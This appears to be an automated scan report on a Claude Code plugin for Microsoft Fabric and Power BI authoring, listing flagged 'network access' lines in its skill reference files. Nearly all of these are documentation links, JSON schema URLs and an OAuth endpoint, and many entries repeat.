  • Access to secretsline 91
    [Credential-related source omitted]
  • Network accessline 94
    **Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 95
    1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default`
  • Network accessline 109
    1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations.
  • Network accessline 110
    2. **Redirect URI**: For interactive flows, add `http://localhost` as Mobile/Desktop redirect URI.
  • Network accessline 116
    Base URL: `https://api.fabric.microsoft.com/v1`
  • Network accessline 181
    **Prefer direct ID lookup whenever a workspace UUID is available** (from a prior create response, earlier list result already in context, or explicit user input): call `GET /v1/workspaces/<workspaceId>` directly. Permission-checked direct l
  • Network accessline 188
    > **Filter on `displayName`, not `name`.** The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/workspaces/list-workspaces)). JMESPath queries on `nam
  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/common/ITEM-DEFINITIONS-CORE.md

  • Network accessline 37
    > Ref: https://learn.microsoft.com/en-us/fabric/cicd/git-integration/source-code-format
  • Network accessline 73
    > Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item
  • Network accessline 77
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/notebook-definition
  • Network accessline 114
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/datapipeline-definition
  • Network accessline 157
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/semantic-model-definition
  • Network accessline 181
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/report-definition
  • Network accessline 182
    > JSON Schemas: [`report/3.1.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/report/3.1.0/schema.json), [`page/1.0.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/1.0.0/sche
  • Network accessline 183
    > Schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item/report
  • Network accessline 212
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/lakehouse-definition
  • Network accessline 255
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/spark-job-definition
  • Network accessline 293
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/environment-definition
  • Network accessline 340
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/variable-library-definition
  • Network accessline 341
    > REST API: https://learn.microsoft.com/en-us/rest/api/fabric/variableharness/github-copilot/items
  • Network accessline 370
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 371
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 401
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 402
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 410
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 411
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 421
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 422
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 446
    > Ref: https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-utilities#variable-library-utilities
  • Network accessline 509
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-definition
  • Network accessline 522
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-database-definition
  • Network accessline 555
    | Item Type | Main Part Path(s) | Spec | |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) |
  • Network accessline 556
    |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | | KQLQueryset | `RealTimeQueryset.json` | [Spec](http
  • Network accessline 557
    | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) |
  • Network accessline 558
    | KQLQueryset | `RealTimeQueryset.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-queryset-definition) |
  • Network accessline 559
    | CopyJob | `copyjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/copyjob-definition) |
  • Network accessline 560
    | Dataflow | `queryMetadata.json`, `mashup.pq` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dataflow-definition) |
  • Network accessline 561
    | DataBuildToolJob | `dbtjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dbtjob-definition) |
  • Network accessline 562
    | Eventstream | `eventstream.json`, `eventstreamProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventstream-definition) |
  • Network accessline 563
    | EventSchemaSet | `EventSchemaSetDefinition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition) |
  • Network accessline 564
    | GraphQLApi | `graphql-definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graphql-api-definition) |
  • Network accessline 565
    | GraphModel | *(multiple JSON parts)* | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graph-model-definition) |
  • Network accessline 566
    | HLSCohort | `healthcarecohort.metadata.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/hlscohort-definition) |
  • Network accessline 567
    | MirroredDatabase | `mirroring.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-database-definition) |
  • Network accessline 568
    | MirroredAzureDatabricksCatalog | `definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-azuredatabricks-unitycatalog-definition) |
  • Network accessline 569
    | MountedDataFactory | `mountedDataFactory-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mounted-data-factory-definition) |
  • Network accessline 570
    | Reflex | `ReflexEntities.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/reflex-definition) |
  • Network accessline 571
    | SnowflakeDatabase | `SnowflakeDatabaseProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/snowflake-database-definition) |
  • Network accessline 573
    > Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item
  • Network accessline 574
    > Item definition overview: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/item-definition-overview

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/SKILL.md

  • Network accessline 139
    **Prerequisite: Node.js 20 or later.** Check with `node --version`. If missing or older, install from [nodejs.org](https://nodejs.org/) or via your package
  • Network accessline 139
    **Prerequisite: Node.js 20 or later.** Check with `node --version`. If missing or older, install from [nodejs.org](https://nodejs.org/) or via your package
  • Network accessline 140
    or older, install from [nodejs.org](https://nodejs.org/) or via your package
  • Network accessline 140
    or older, install from [nodejs.org](https://nodejs.org/) or via your package
  • Network accessline 142
    Linux: distro package or [nodesource](https://github.com/nodesource/distributions).
  • Network accessline 142
    Linux: distro package or [nodesource](https://github.com/nodesource/distributions).
  • Network accessline 323
    | Output/error | Meaning | Action | |--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask th
  • Network accessline 323
    | Output/error | Meaning | Action | |--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask th
  • Network accessline 324
    |--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask them to enable the Desktop preview fea
  • Network accessline 324
    |--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask them to enable the Desktop preview fea
  • Network accessline 325
    | `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask them to enable the Desktop preview feature — see [docs](https://aka.ms/Rep
  • Network accessline 325
    | `"status": "not_connected"` | No Desktop Bridge discoverable | Run `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop. If still unreachable, ask them to enable the Desktop preview feature — see [docs](https://aka.ms/Rep
  • Network accessline 326
    | `AMBIGUOUS_DESKTOP_INSTANCE` | More than one Desktop Bridge instance is available | Run `powerbi-desktop status`, choose the intended PID, retry with `--pid` | | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge me
  • Network accessline 326
    | `AMBIGUOUS_DESKTOP_INSTANCE` | More than one Desktop Bridge instance is available | Run `powerbi-desktop status`, choose the intended PID, retry with `--pid` | | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge me
  • Network accessline 327
    | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method | Tell the user Desktop is stale/unsupported — see [docs](https://aka.ms/Report_Authoring_skill_LearnDocs) |
  • Network accessline 327
    | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method | Tell the user Desktop is stale/unsupported — see [docs](https://aka.ms/Report_Authoring_skill_LearnDocs) |
  • Network accessline 410
    For Microsoft Learn setup guidance, support constraints, and feature availability, use [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs).
  • Network accessline 410
    For Microsoft Learn setup guidance, support constraints, and feature availability, use [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs).
  • Network accessline 411
    availability, use [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs).
  • Network accessline 411
    availability, use [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs).

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/authoring.md

  • Network accessline 69
    {      "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json",
  • Network accessline 69
    {      "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json",
  • Network accessline 70
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json",
  • Network accessline 70
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json",
  • Network accessline 89
    {      "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 89
    {      "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 90
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 90
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 202
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json",
  • Network accessline 202
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json",
  • Network accessline 203
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json",
  • Network accessline 203
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/2.1.0/schema.json",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/card.md

  • Network accessline 27
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 27
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 28
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 28
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 63
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 63
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 64
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 64
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/cartesian.md

  • Network accessline 46
    > **Schema version rule:** Copy the `$schema` URL from an existing `visual.json` in the same report. > If no reference exists, fall back to `https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/sc
  • Network accessline 46
    > **Schema version rule:** Copy the `$schema` URL from an existing `visual.json` in the same report. > If no reference exists, fall back to `https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/sc
  • Network accessline 47
    > If no reference exists, fall back to `https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json`.
  • Network accessline 47
    > If no reference exists, fall back to `https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json`.
  • Network accessline 845
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 845
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 846
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 846
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 881
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 881
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 882
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 882
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 987
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 987
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 988
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 988
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 1113
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 1113
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 1114
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 1114
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 1297
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 1297
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 1298
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 1298
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/image.md

  • Network accessline 32
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 32
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 33
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 33
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 104
    - The URL must point **directly to an image file** (e.g., ending in `.jpg`, `.png`, `.gif`, `.bmp`, `.svg`), not a webpage containing the image. - Use **HTTPS** URLs — HTTP may work in Desktop but can be blocked by the Power BI Service. - R
  • Network accessline 104
    - The URL must point **directly to an image file** (e.g., ending in `.jpg`, `.png`, `.gif`, `.bmp`, `.svg`), not a webpage containing the image. - Use **HTTPS** URLs — HTTP may work in Desktop but can be blocked by the Power BI Service. - R
  • Network accessline 106
    - Reference: https://community.fabric.microsoft.com/t5/Desktop/Image-URL-creation/td-p/1910627
  • Network accessline 106
    - Reference: https://community.fabric.microsoft.com/t5/Desktop/Image-URL-creation/td-p/1910627
  • Network accessline 109
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 109
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 110
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 110
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 200
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 200
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 201
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 201
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/map.md

  • Network accessline 40
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 40
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 41
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 41
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/powerbi-desktop.md

  • Network accessline 152
    |--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge instance is discoverable | Open the report with `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop | | `NO_BRIDGE` or repeated `connect
  • Network accessline 152
    |--------------|---------|--------| | `"status": "not_connected"` | No Desktop Bridge instance is discoverable | Open the report with `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop | | `NO_BRIDGE` or repeated `connect
  • Network accessline 153
    | `"status": "not_connected"` | No Desktop Bridge instance is discoverable | Open the report with `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop | | `NO_BRIDGE` or repeated `connect ENOENT \\.\pipe\pbi-desktop-bridge-
  • Network accessline 153
    | `"status": "not_connected"` | No Desktop Bridge instance is discoverable | Open the report with `powerbi-desktop open "<path.pbip>"` or ask the user to start Desktop | | `NO_BRIDGE` or repeated `connect ENOENT \\.\pipe\pbi-desktop-bridge-
  • Network accessline 154
    | `NO_BRIDGE` or repeated `connect ENOENT \\.\pipe\pbi-desktop-bridge-<pid>` | Desktop is running, but the bridge pipe is not available | In Desktop, open **File > Options and settings > Options > Preview features**, enable **Enable externa
  • Network accessline 154
    | `NO_BRIDGE` or repeated `connect ENOENT \\.\pipe\pbi-desktop-bridge-<pid>` | Desktop is running, but the bridge pipe is not available | In Desktop, open **File > Options and settings > Options > Preview features**, enable **Enable externa
  • Network accessline 155
    | `AMBIGUOUS_DESKTOP_INSTANCE` | More than one bridge instance is available | Run `powerbi-desktop status`, choose the intended PID, and retry with `--pid` | | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method
  • Network accessline 155
    | `AMBIGUOUS_DESKTOP_INSTANCE` | More than one bridge instance is available | Run `powerbi-desktop status`, choose the intended PID, and retry with `--pid` | | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method
  • Network accessline 156
    | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method | Tell the user Desktop is stale/unsupported for this workflow and link [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs) for
  • Network accessline 156
    | `METHOD_NOT_AVAILABLE` | Desktop build lacks a required production bridge method | Tell the user Desktop is stale/unsupported for this workflow and link [Power BI report authoring docs](https://aka.ms/Report_Authoring_skill_LearnDocs) for

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/shape.md

  • Network accessline 18
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 18
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 19
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 19
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 160
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 160
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 161
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 161
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/slicers.md

  • Network accessline 67
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 67
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 68
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 68
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 273
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 273
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 274
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 274
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/table.md

  • Network accessline 24
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 24
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 25
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 25
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 78
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 78
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 79
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 79
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/textbox.md

  • Network accessline 14
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 14
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 15
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 15
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 62
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 62
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 63
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",
  • Network accessline 63
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/report/definition/visualContainer/2.9.0/schema.json",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/theming.md

  • Network accessline 132
    Set `"$schema"` to a published `reportThemeSchema-<major>.<minor>.json` from the [powerbi-desktop-samples repo](https://github.com/microsoft/powerbi-desktop-samples/tree/main/Report%20Theme%20JSON%20Schema/).
  • Network accessline 132
    Set `"$schema"` to a published `reportThemeSchema-<major>.<minor>.json` from the [powerbi-desktop-samples repo](https://github.com/microsoft/powerbi-desktop-samples/tree/main/Report%20Theme%20JSON%20Schema/).
  • Network accessline 133
    [powerbi-desktop-samples repo](https://github.com/microsoft/powerbi-desktop-samples/tree/main/Report%20Theme%20JSON%20Schema/).
  • Network accessline 133
    [powerbi-desktop-samples repo](https://github.com/microsoft/powerbi-desktop-samples/tree/main/Report%20Theme%20JSON%20Schema/).
  • Network accessline 531
    "icons": {   "customFire": { "url": "https://example.com/fire.png", "description": "Fire indicator" },
  • Network accessline 531
    "icons": {   "customFire": { "url": "https://example.com/fire.png", "description": "Fire indicator" },
  • Network accessline 532
    "customFire": { "url": "https://example.com/fire.png", "description": "Fire indicator" },
  • Network accessline 532
    "customFire": { "url": "https://example.com/fire.png", "description": "Fire indicator" },
  • Network accessline 533
    "customStar": { "url": "https://example.com/star.svg", "description": "Star rating" }
  • Network accessline 533
    "customStar": { "url": "https://example.com/star.svg", "description": "Star rating" }

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/assets/base.json

  • Network accessline 1
    {   "$schema": "https://raw.githubusercontent.com/microsoft/powerbi-desktop-samples/main/Report%20Theme%20JSON%20Schema/reportThemeSchema-2.153.json",
  • Network accessline 1
    {   "$schema": "https://raw.githubusercontent.com/microsoft/powerbi-desktop-samples/main/Report%20Theme%20JSON%20Schema/reportThemeSchema-2.153.json",
  • Network accessline 2
